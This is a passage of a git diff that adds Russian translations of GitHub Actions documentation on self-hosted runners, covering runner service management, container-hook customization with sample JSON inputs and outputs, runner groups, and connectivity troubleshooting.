+1. Эта команда принимает необязательный аргумент `user` для установки службы в качестве другого пользователя. + + ```shell + ./svc.sh install USERNAME + ``` + +{% endlinux %} + +{% mac %} + +## Установка службы + +{{ service_first_step }} +1. Установите службу с помощью следующей команды: + + ```shell + ./svc.sh install + ``` +{% endmac %} + +## Запуск службы + +Запустите службу с помощью следующей команды: + +{% linux %} +```shell +sudo ./svc.sh start +``` +{% endlinux %} {% windows %} +```shell +Start-Service "{{ service_win_name }}" +``` +{% endwindows %} {% mac %} +```shell +./svc.sh start +``` +{% endmac %} + +## Проверка состояния службы + +Проверьте состояние службы с помощью следующей команды: + +{% linux %} +```shell +sudo ./svc.sh status +``` +{% endlinux %} {% windows %} +```shell +Get-Service "{{ service_win_name }}" +``` +{% endwindows %} {% mac %} +```shell +./svc.sh status +``` +{% endmac %} + + Дополнительные сведения о просмотре состояния локального средства выполнения см. в разделе [Мониторинг и устранение неполадок локальных средств выполнения](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners). + +## Остановка службы + +Остановите службу с помощью следующей команды: + +{% linux %} +```shell +sudo ./svc.sh stop +``` +{% endlinux %} {% windows %} +```shell +Stop-Service "{{ service_win_name }}" +``` +{% endwindows %} {% mac %} +```shell +./svc.sh stop +``` +{% endmac %} + +## Удаление службы + +1. Остановите службу, если она работает в данный момент. +1. Удалите службу с помощью следующей команды: + + {% linux %} + ```shell + sudo ./svc.sh uninstall + ``` + {% endlinux %} {% windows %} + ```shell + Remove-Service "{{ service_win_name }}" + ``` + {% endwindows %} {% mac %} + ```shell + ./svc.sh uninstall + ``` + {% endmac %} + + +{% linux %} + +## Настройка службы локального средства выполнения + +Если вы не хотите использовать указанную выше конфигурацию службы `systemd` по умолчанию, можно создать настраиваемую службу или использовать любой предпочитаемый механизм службы. Рассмотрите возможность использования шаблона `serviced` в `actions-runner/bin/actions.runner.service.template` качестве справки. Если вы используете настроенную службу, служба локального средства выполнения всегда должна вызываться с помощью точки входа `runsvc.sh`. + +{% endlinux %} + +{% mac %} + +## Настройка службы локального средства выполнения + +Если вы не хотите использовать указанную выше конфигурацию службы launchd по умолчанию, можно создать настраиваемую службу или использовать любой предпочитаемый механизм службы. Рассмотрите возможность использования шаблона `plist` в `actions-runner/bin/actions.runner.plist.template` качестве справки. Если вы используете настроенную службу, служба локального средства выполнения всегда должна вызываться с помощью точки входа `runsvc.sh`. + +{% endmac %} diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs.md b/translations/ru-RU/content/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs.md new file mode 100644 index 000000000000..e24b63b5d751 --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs.md @@ -0,0 +1,535 @@ +--- +title: 'Настройка контейнеров, используемых заданиями' +intro: 'Вы можете настроить, как локальное средство выполнения вызывает контейнер для задания.' +versions: + feature: container-hooks +type: reference +miniTocMaxHeadingLevel: 4 +shortTitle: Customize containers used by jobs +ms.openlocfilehash: 774aad09c504a09f0bf4f60af286952ee24f89b5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881166' +--- +{% note %} + +**Примечание**. Эта функция в настоящее время доступна в виде бета-версии и может быть изменена. + +{% endnote %} + +## Сведения о настройке контейнеров + +При использовании {% data variables.product.prodname_actions %} можно выполнять задание в контейнере с помощью инструкции `container:` в файле рабочего процесса. Дополнительные сведения см. в статье [Выполнение заданий в контейнере](/actions/using-jobs/running-jobs-in-a-container). Для обработки заданий на основе контейнеров локальное средство выполнения создает контейнер для каждого задания. + +{% data variables.product.prodname_actions %} поддерживает команды, позволяющие настроить способ создания контейнеров локальным средством выполнения. Например, эти команды можно использовать для управления контейнерами с помощью Kubernetes или Podman. Кроме того, вы можете настроить команды `docker run` или `docker create`, используемые для вызова контейнера. Команды настройки выполняются скриптом, который автоматически активируется при установке определенной переменной среды в средстве выполнения. Дополнительные сведения см. в статье [Активация скрипта настройки](#triggering-the-customization-script). + +Эта настройка доступна только для локальных средств выполнения на основе Linux, а доступ к корневому пользователю не требуется. + +## Команды настройки контейнера + +{% data variables.product.prodname_actions %} включает следующие команды для настройки контейнера: + +- [`prepare_job`](/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs#prepare_job): вызывается при запуске задания. +- [`cleanup_job`](/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs#cleanup_job): вызывается в конце задания. +- [`run_container_step`](/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs#run_container_step): вызывается один раз для каждого действия контейнера в задании. +- [`run_script_step`](/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs#run_script_step): выполняет любой шаг, который не является действием контейнера. + +Каждая из этих команд настройки должна быть определена в собственном JSON-файле. Имя файла должно соответствовать имени команды с расширением `.json`. Например, в `prepare_job.json` определена команда `prepare_job`. Затем эти JSON-файлы будут выполняться вместе в локальном средстве выполнения в рамках основного скрипта `index.js`. Этот процесс более подробно описан в разделе [Создание скрипта настройки](#generating-the-customization-script). + +Эти команды также включают аргументы конфигурации, описанные более подробно ниже. + +### `prepare_job` + +Команда `prepare_job` вызывается при запуске задания. {% data variables.product.prodname_actions %} передает все контейнеры заданий или служб, которые есть в задании. Эта команда будет вызываться, если в задании есть какие-либо контейнеры служб или заданий. + +{% data variables.product.prodname_actions %} предполагает, что в команде `prepare_job` будут выполняться следующие задачи: + +- Урезать что-либо из предыдущих заданий при необходимости. +- При необходимости создайте сеть. +- Извлеките контейнеры заданий и служб. +- Запустите контейнер заданий. +- Запустите контейнеры служб. +- Запишите в файл ответа все сведения, необходимые для {% data variables.product.prodname_actions %}: + - Обязательный аргумент. Указывает, является ли контейнер контейнером Linux `alpine` (с использованием логического значения `isAlpine`). + - Необязательный аргумент. Поля контекста, которые нужно задать для контекста задания. В противном случае они будут недоступны для пользователей. Дополнительные сведения см. в разделе о [контексте `job`](/actions/learn-github-actions/contexts#job-context). +- Возвращает `0` после успешной проверки работоспособности и запуска контейнеров заданий или служб. + +#### Аргументы + +- `jobContainer`: **необязательный**. Объект, содержащий сведения об указанном контейнере заданий. + - `image`: **обязательный**. Строка, содержащая образ Docker. + - `workingDirectory`: **обязательный**. Строка, содержащая абсолютный путь к рабочему каталогу. + - `createOptions`: **необязательный**. Необязательные параметры _создания_, указанные в YAML. Дополнительные сведения см. в [примере выполнения задания в контейнере](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container). + - `environmentVariables`: **необязательный**. Задает карту ключевых переменных среды. + - `userMountVolumes`: **необязательный**. Массив пользовательских томов подключения, заданных в YAML. Дополнительные сведения см. в [примере выполнения задания в контейнере](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container). + - `sourceVolumePath`: **обязательный**. Исходный путь к тому, который будет подключен к контейнеру Docker. + - `targetVolumePath`: **обязательный**. Целевой путь к тому, который будет подключен к контейнеру Docker. + - `readOnly`: **обязательный**. Определяет, следует ли устанавливать подключение только для чтения. + - `systemMountVolumes`: **обязательный**. Массив подключений для подключения к контейнеру с теми же полями, что и выше. + - `sourceVolumePath`: **обязательный**. Исходный путь к тому, который будет подключен к контейнеру Docker. + - `targetVolumePath`: **обязательный**. Целевой путь к тому, который будет подключен к контейнеру Docker. + - `readOnly`: **обязательный**. Определяет, следует ли устанавливать подключение только для чтения. + - `registry`: **необязательный**. Учетные данные реестра Docker для частного реестра контейнеров. + - `username`: **необязательный**. Имя пользователя для учетной записи реестра. + - `password`: **необязательный**. Пароль для учетной записи реестра. + - `serverUrl`: **необязательный**. URL-адрес реестра. + - `portMappings`: **необязательный**. Хэш значения ключа портов _исходный:целевой_ для сопоставления с контейнером. +- `services`: **необязательный**. Массив контейнеров служб для запуска. + - `contextName`: **обязательный**. Имя службы в контексте задания. + - `image`: **обязательный**. Строка, содержащая образ Docker. + - `createOptions`: **необязательный**. Необязательные параметры _создания_, указанные в YAML. Дополнительные сведения см. в [примере выполнения задания в контейнере](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container). + - `environmentVariables`: **необязательный**. Задает карту ключевых переменных среды. + - `userMountVolumes`: **необязательный**. Массив подключений для подключения к контейнеру с теми же полями, что и выше. + - `sourceVolumePath`: **обязательный**. Исходный путь к тому, который будет подключен к контейнеру Docker. + - `targetVolumePath`: **обязательный**. Целевой путь к тому, который будет подключен к контейнеру Docker. + - `readOnly`: **обязательный**. Определяет, следует ли устанавливать подключение только для чтения. + - `registry`: **необязательный**. Учетные данные реестра Docker для частного реестра контейнеров. + - `username`: **необязательный**. Имя пользователя для учетной записи реестра. + - `password`: **необязательный**. Пароль для учетной записи реестра. + - `serverUrl`: **необязательный**. URL-адрес реестра. + - `portMappings`: **необязательный**. Хэш значения ключа портов _исходный:целевой_ для сопоставления с контейнером. + +#### Пример входных данных + +```json{:copy} +{ + "command": "prepare_job", + "responseFile": "/users/octocat/runner/_work/{guid}.json", + "state": {}, + "args": { + "jobContainer": { + "image": "node:14.16", + "workingDirectory": "/__w/octocat-test2/octocat-test2", + "createOptions": "--cpus 1", + "environmentVariables": { + "NODE_ENV": "development" + }, + "userMountVolumes": [ + { + "sourceVolumePath": "my_docker_volume", + "targetVolumePath": "/volume_mount", + "readOnly": false + } + ], + "systemMountVolumes": [ + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work", + "targetVolumePath": "/__w", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/externals", + "targetVolumePath": "/__e", + "readOnly": true + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp", + "targetVolumePath": "/__w/_temp", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions", + "targetVolumePath": "/__w/_actions", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool", + "targetVolumePath": "/__w/_tool", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home", + "targetVolumePath": "/github/home", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow", + "targetVolumePath": "/github/workflow", + "readOnly": false + } + ], + "registry": { + "username": "octocat", + "password": "examplePassword", + "serverUrl": "https://index.docker.io/v1" + }, + "portMappings": { "80": "801" } + }, + "services": [ + { + "contextName": "redis", + "image": "redis", + "createOptions": "--cpus 1", + "environmentVariables": {}, + "userMountVolumes": [], + "portMappings": { "80": "801" }, + "registry": { + "username": "octocat", + "password": "examplePassword", + "serverUrl": "https://index.docker.io/v1" + } + } + ] + } +} +``` + +#### Пример выходных данных + +Этот пример выходных данных представляет собой содержимое `responseFile`, определенное во входных данных выше. + +```json{:copy} +{ + "state": { + "network": "example_network_53269bd575972817b43f7733536b200c", + "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", + "serviceContainers": { + "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105" + } + }, + "context": { + "container": { + "id": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", + "network": "example_network_53269bd575972817b43f7733536b200c" + }, + "services": { + "redis": { + "id": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105", + "ports": { + "8080": "8080" + }, + "network": "example_network_53269bd575972817b43f7733536b200c" + } + }, + "isAlpine": true + } +} +``` + +### `cleanup_job` + +Команда `cleanup_job` вызывается в конце задания. {% data variables.product.prodname_actions %} предполагает, что в команде `cleanup_job` будут выполняться следующие задачи: + +- Остановите все запущенные контейнеры служб или заданий (или эквивалентный объект pod). +- Остановите сеть (если она существует). +- Удалите все контейнеры заданий или служб (или эквивалентный объект pod). +- Удалите сеть (если она существует). +- Очистите все остальные компоненты, созданные для задания. + +#### Аргументы + +Аргументы для `cleanup_job` не предоставляются. + +#### Пример входных данных + +```json{:copy} +{ + "command": "cleanup_job", + "responseFile": null, + "state": { + "network": "example_network_53269bd575972817b43f7733536b200c", + "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", + "serviceContainers": { + "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105" + } + }, + "args": {} +} +``` + +#### Пример выходных данных + +Для `cleanup_job` выходные данные не ожидаются. + +### `run_container_step` + +Команда `run_container_step` вызывается один раз для каждого действия контейнера в задании. {% data variables.product.prodname_actions %} предполагает, что в команде `run_container_step` будут выполняться следующие задачи: + +- Извлечете или создадите необходимый контейнер (или завершите команду сбоем, если этого сделать нельзя). +- Запустите действие контейнера и вернете код выхода контейнера. +- Выполните потоковую передачу всех журналов шагов в stdout и stderr. +- Очистите контейнер после его выполнения. + +#### Аргументы + +- `image`: **необязательный**. Строка, содержащая образ Docker. В противном случае необходимо указать Dockerfile. +- `dockerfile`: **необязательный**. Строка, содержащая путь к Dockerfile. В противном случае необходимо указать образ. +- `entryPointArgs`: **необязательный**. Список, содержащий аргументы точек входа. +- `entryPoint`: **необязательный**. Точка входа контейнера, используемая, если точку входа образа по умолчанию нужно перезаписать. +- `workingDirectory`: **обязательный**. Строка, содержащая абсолютный путь к рабочему каталогу. +- `createOptions`: **необязательный**. Необязательные параметры _создания_, указанные в YAML. Дополнительные сведения см. в [примере выполнения задания в контейнере](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container). +- `environmentVariables`: **необязательный**. Задает карту ключевых переменных среды. +- `prependPath`: **необязательный**. Массив дополнительных путей, которые необходимо добавить перед переменной `$PATH`. +- `userMountVolumes`: **необязательный**. Массив пользовательских томов подключения, заданных в YAML. Дополнительные сведения см. в [примере выполнения задания в контейнере](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container). + - `sourceVolumePath`: **обязательный**. Исходный путь к тому, который будет подключен к контейнеру Docker. + - `targetVolumePath`: **обязательный**. Целевой путь к тому, который будет подключен к контейнеру Docker. + - `readOnly`: **обязательный**. Определяет, следует ли устанавливать подключение только для чтения. +- `systemMountVolumes`: **обязательный**. Массив подключений для подключения к контейнеру с теми же полями, что и выше. + - `sourceVolumePath`: **обязательный**. Исходный путь к тому, который будет подключен к контейнеру Docker. + - `targetVolumePath`: **обязательный**. Целевой путь к тому, который будет подключен к контейнеру Docker. + - `readOnly`: **обязательный**. Определяет, следует ли устанавливать подключение только для чтения. +- `registry`: **необязательный**. Учетные данные реестра Docker для частного реестра контейнеров. + - `username`: **необязательный**. Имя пользователя для учетной записи реестра. + - `password`: **необязательный**. Пароль для учетной записи реестра. + - `serverUrl`: **необязательный**. URL-адрес реестра. +- `portMappings`: **необязательный**. Хэш значения ключа портов _исходный:целевой_ для сопоставления с контейнером. + +#### Пример входных данных для образа + +Если вы используете образ Docker, можно указать имя образа в параметре `"image":`. + +```json{:copy} +{ + "command": "run_container_step", + "responseFile": null, + "state": { + "network": "example_network_53269bd575972817b43f7733536b200c", + "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", + "serviceContainers": { + "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105" + } + }, + "args": { + "image": "node:14.16", + "dockerfile": null, + "entryPointArgs": ["-f", "/dev/null"], + "entryPoint": "tail", + "workingDirectory": "/__w/octocat-test2/octocat-test2", + "createOptions": "--cpus 1", + "environmentVariables": { + "NODE_ENV": "development" + }, + "prependPath": ["/foo/bar", "bar/foo"], + "userMountVolumes": [ + { + "sourceVolumePath": "my_docker_volume", + "targetVolumePath": "/volume_mount", + "readOnly": false + } + ], + "systemMountVolumes": [ + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work", + "targetVolumePath": "/__w", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/externals", + "targetVolumePath": "/__e", + "readOnly": true + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp", + "targetVolumePath": "/__w/_temp", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions", + "targetVolumePath": "/__w/_actions", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool", + "targetVolumePath": "/__w/_tool", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home", + "targetVolumePath": "/github/home", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow", + "targetVolumePath": "/github/workflow", + "readOnly": false + } + ], + "registry": null, + "portMappings": { "80": "801" } + } +} +``` + +#### Пример входных данных для Dockerfile + +Если контейнер определен Dockerfile, в этом примере показано, как указать путь к `Dockerfile` во входных данных с помощью параметра `"dockerfile":`. + +```json{:copy} +{ + "command": "run_container_step", + "responseFile": null, + "state": { + "network": "example_network_53269bd575972817b43f7733536b200c", + "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", + "services": { + "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105" + } + }, + "args": { + "image": null, + "dockerfile": "/__w/_actions/foo/dockerfile", + "entryPointArgs": ["hello world"], + "entryPoint": "echo", + "workingDirectory": "/__w/octocat-test2/octocat-test2", + "createOptions": "--cpus 1", + "environmentVariables": { + "NODE_ENV": "development" + }, + "prependPath": ["/foo/bar", "bar/foo"], + "userMountVolumes": [ + { + "sourceVolumePath": "my_docker_volume", + "targetVolumePath": "/volume_mount", + "readOnly": false + } + ], + "systemMountVolumes": [ + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work", + "targetVolumePath": "/__w", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/externals", + "targetVolumePath": "/__e", + "readOnly": true + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp", + "targetVolumePath": "/__w/_temp", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions", + "targetVolumePath": "/__w/_actions", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool", + "targetVolumePath": "/__w/_tool", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home", + "targetVolumePath": "/github/home", + "readOnly": false + }, + { + "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow", + "targetVolumePath": "/github/workflow", + "readOnly": false + } + ], + "registry": null, + "portMappings": { "80": "801" } + } +} +``` + +#### Пример выходных данных + +Для `run_container_step` выходные данные не ожидаются. + +### `run_script_step` + +{% data variables.product.prodname_actions %} предполагает, что вы выполните следующие задачи: + +- Вызовете предоставленный скрипт в контейнере заданий и вернете код выхода. +- Выполните потоковую передачу журнала шагов в stdout и stderr. + +#### Аргументы + +- `entryPointArgs`: **необязательный**. Список, содержащий аргументы точек входа. +- `entryPoint`: **необязательный**. Точка входа контейнера, используемая, если точку входа образа по умолчанию нужно перезаписать. +- `prependPath`: **необязательный**. Массив дополнительных путей, которые необходимо добавить перед переменной `$PATH`. +- `workingDirectory`: **обязательный**. Строка, содержащая абсолютный путь к рабочему каталогу. +- `environmentVariables`: **необязательный**. Задает карту ключевых переменных среды. + +#### Пример входных данных + +```json{:copy} +{ + "command": "run_script_step", + "responseFile": null, + "state": { + "network": "example_network_53269bd575972817b43f7733536b200c", + "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480", + "serviceContainers": { + "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105" + } + }, + "args": { + "entryPointArgs": ["-e", "/runner/temp/example.sh"], + "entryPoint": "bash", + "environmentVariables": { + "NODE_ENV": "development" + }, + "prependPath": ["/foo/bar", "bar/foo"], + "workingDirectory": "/__w/octocat-test2/octocat-test2" + } +} +``` + +#### Пример выходных данных + +Для `run_script_step` выходные данные не ожидаются. + +## Создание скрипта настройки + +{% data variables.product.prodname_dotcom %} предоставляет пример репозитория, демонстрирующий создание скриптов настройки для Docker и Kubernetes. + +{% note %} + +**Примечание.** Результирующие скрипты доступны для тестирования. Вам понадобится определить, подходят ли они для ваших требований. + +{% endnote %} + +1. Клонируйте репозиторий [actions/runner-container-hooks](https://github.com/actions/runner-container-hooks) в локальное средство выполнения. + +1. Каталог `examples/` содержит некоторые существующие команды настройки, каждый из которых содержит собственный JSON-файл. Вы можете просмотреть эти примеры и использовать их в качестве отправной точки для собственных команд настройки. + + - `prepare_job.json` + - `run_script_step.json` + - `run_container_step.json` + +1. Создайте пакеты NPM. Эти команды создают файлы `index.js` внутри `packages/docker/dist` и `packages/k8s/dist`. + + ```shell + npm install && npm run bootstrap && npm run build-all + ``` + +Когда результирующий скрипт `index.js` активируется {% data variables.product.prodname_actions %}, он выполнит команды настройки, определенные в JSON-файлах. Чтобы активировать скрипт `index.js`, необходимо добавить его в переменную среды `ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER`, как описано в следующем разделе. + +## Активация скрипта настройки + +Пользовательские скрипты должны находиться в средстве выполнения, но не должны храниться в его каталоге приложений. Скрипты выполняются в контексте безопасности учетной записи службы, в котором запущена служба средства выполнения. + +{% note %} + +**Примечание**. Активированный скрипт обрабатывается синхронно, поэтому на это время выполнение задания блокируется. + +{% endnote %} + +Скрипт выполняется автоматически, если в средстве выполнения имеется следующая переменная среды, содержащая абсолютный путь к скрипту: + +- `ACTIONS_RUNNER_CONTAINER_HOOK`. Скрипт, определенный в этой переменной среды, активируется при назначении задания средству выполнения, но перед запуском задания. + +Чтобы задать эту переменную среды, можно добавить ее либо в операционную систему, либо в файл с именем `.env` в каталоге приложения локального средства выполнения. Например, следующая запись `.env` будет автоматически запускать скрипт `/Users/octocat/runner/index.js` перед каждым выполнением задания на основе контейнеров: + +```bash +ACTIONS_RUNNER_CONTAINER_HOOK=/Users/octocat/runner/index.js +``` + +Если вы хотите убедиться, что задание всегда будет выполняться в контейнере, а затем всегда применять настройки контейнера, можно задать переменную `ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER` для локального средства выполнения равной `true`. Это приведет к сбою заданий, которые не указывают контейнер заданий. + +## Устранение неполадок + +### Отсутствие параметра времени ожидания + +В настоящее время для скриптов, выполняемых посредством `ACTIONS_RUNNER_CONTAINER_HOOK`, параметр времени ожидания отсутствует. Поэтому в скрипт может потребоваться добавить логику для обработки времени ожидания. + +### Просмотр журнала выполнения рабочего процесса + +Чтобы проверить, выполняются ли скрипты, можно просмотреть журналы задания. Дополнительные сведения о проверке журналов см. в разделе [Просмотр журналов для диагностики сбоев](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures). diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/index.md b/translations/ru-RU/content/actions/hosting-your-own-runners/index.md new file mode 100644 index 000000000000..8db12d3ce8f3 --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/index.md @@ -0,0 +1,39 @@ +--- +title: Размещение собственных средств выполнения +shortTitle: Self-hosted runners +intro: Можно создавать локальные средства выполнения тестов для выполнения рабочих процессов в настраиваемой среде. +redirect_from: + - /github/automating-your-workflow-with-github-actions/hosting-your-own-runners + - /actions/automating-your-workflow-with-github-actions/hosting-your-own-runners + - /actions/using-github-hosted-runners/about-ae-hosted-runners + - /actions/using-github-hosted-runners/adding-ae-hosted-runners + - /actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow + - /actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners + - /actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners + - /actions/using-github-hosted-runners/creating-custom-images +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-self-hosted-runners + - /adding-self-hosted-runners + - /autoscaling-with-self-hosted-runners + - /running-scripts-before-or-after-a-job + - /customizing-the-containers-used-by-jobs + - /configuring-the-self-hosted-runner-application-as-a-service + - /using-a-proxy-server-with-self-hosted-runners + - /using-labels-with-self-hosted-runners + - /using-self-hosted-runners-in-a-workflow + - /managing-access-to-self-hosted-runners-using-groups + - /monitoring-and-troubleshooting-self-hosted-runners + - /removing-self-hosted-runners +ms.openlocfilehash: 1c69031c75601e0099fcfb507f455ef0fa51b768 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010051' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md b/translations/ru-RU/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md new file mode 100644 index 000000000000..1f27d3db5ce4 --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md @@ -0,0 +1,80 @@ +--- +title: Managing access to self-hosted runners using groups +shortTitle: Manage access with runner groups +intro: You can use policies to limit access to self-hosted runners that have been added to an organization or enterprise. +redirect_from: + - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +{% ifversion target-runner-groups %} +For information on how to route jobs to runners in a specific group, see "[Choosing runners in a group](/actions/using-jobs/choosing-the-runner-for-a-job#choosing-runners-in-a-group)." +{% endif %} + +## About runner groups + +{% data reusables.actions.about-runner-groups %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).{% endif %} + +{% ifversion ghec or ghes or ghae %} + +## Creating a self-hosted runner group for an organization + +{%- ifversion ghec or ghes %} + +{% data reusables.actions.self-hosted-runner-security-admonition %} + +{%- endif %} + +{% data reusables.actions.creating-a-runner-group-for-an-organization %} + +## Creating a self-hosted runner group for an enterprise + + {%- ifversion ghec or ghes %} + +{% data reusables.actions.self-hosted-runner-security-admonition %} + +{%- endif %} + +{% data reusables.actions.creating-a-runner-group-for-an-enterprise %} + +{% endif %} + +## Changing the access policy of a self-hosted runner group + +{%- ifversion fpt or ghec or ghes %} + +{% data reusables.actions.self-hosted-runner-security-admonition %} + +{%- endif %} + +{% data reusables.actions.changing-the-access-policy-of-a-runner-group %} + +## Changing the name of a runner group + +{% data reusables.actions.changing-the-name-of-a-runner-group %} + +{% ifversion ghec or ghes or ghae %} +## Automatically adding a self-hosted runner to a group + +{% data reusables.actions.automatically-adding-a-runner-to-a-group %} + +## Moving a self-hosted runner to a group + +{% data reusables.actions.moving-a-runner-to-a-group %} + +## Removing a self-hosted runner group + +{% data reusables.actions.removing-a-runner-group %} + +{% endif %} + +{% data reusables.actions.section-using-unique-names-for-runner-groups %} diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md b/translations/ru-RU/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md new file mode 100644 index 000000000000..0e597853c70c --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md @@ -0,0 +1,285 @@ +--- +title: Monitoring and troubleshooting self-hosted runners +intro: You can monitor your self-hosted runners to view their activity and diagnose common issues. +redirect_from: + - /actions/hosting-your-own-runners/checking-the-status-of-self-hosted-runners + - /github/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners + - /actions/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +miniTocMaxHeadingLevel: 3 +defaultPlatform: linux +shortTitle: Monitor & troubleshoot +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Checking the status of a self-hosted runner + +{% data reusables.actions.self-hosted-runner-management-permissions-required %} + +{% data reusables.actions.self-hosted-runner-navigate-repo-and-org %} +{% data reusables.organizations.settings-sidebar-actions-runners %} +1. Under "Runners", you can view a list of registered runners, including the runner's name, labels, and status. + + The status can be one of the following: + + * **Idle**: The runner is connected to {% data variables.product.product_name %} and is ready to execute jobs. + * **Active**: The runner is currently executing a job. + * **Offline**: The runner is not connected to {% data variables.product.product_name %}. This could be because the machine is offline, the self-hosted runner application is not running on the machine, or the self-hosted runner application cannot communicate with {% data variables.product.product_name %}. + +## Troubleshooting network connectivity + +### Checking self-hosted runner network connectivity + +You can use the self-hosted runner application's `run` script with the `--check` parameter to check that a self-hosted runner can access all required network services on {% data variables.location.product_location %}. + +In addition to `--check`, you must provide two arguments to the script: + +* `--url` with the URL to your {% data variables.product.company_short %} repository, organization, or enterprise. For example, `--url https://github.com/octo-org/octo-repo`. +* `--pat` with the value of a {% data variables.product.pat_v1 %}, which must have the `workflow` scope{% ifversion pat-v2%}, or a {% data variables.product.pat_v2 %} with workflows read and write access {% endif %}. For example, `--pat ghp_abcd1234`. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +For example: + +{% mac %} + +{% data reusables.actions.self-hosted-runner-check-mac-linux %} + +{% endmac %} +{% linux %} + +{% data reusables.actions.self-hosted-runner-check-mac-linux %} + +{% endlinux %} +{% windows %} + +```shell +run.cmd --check --url 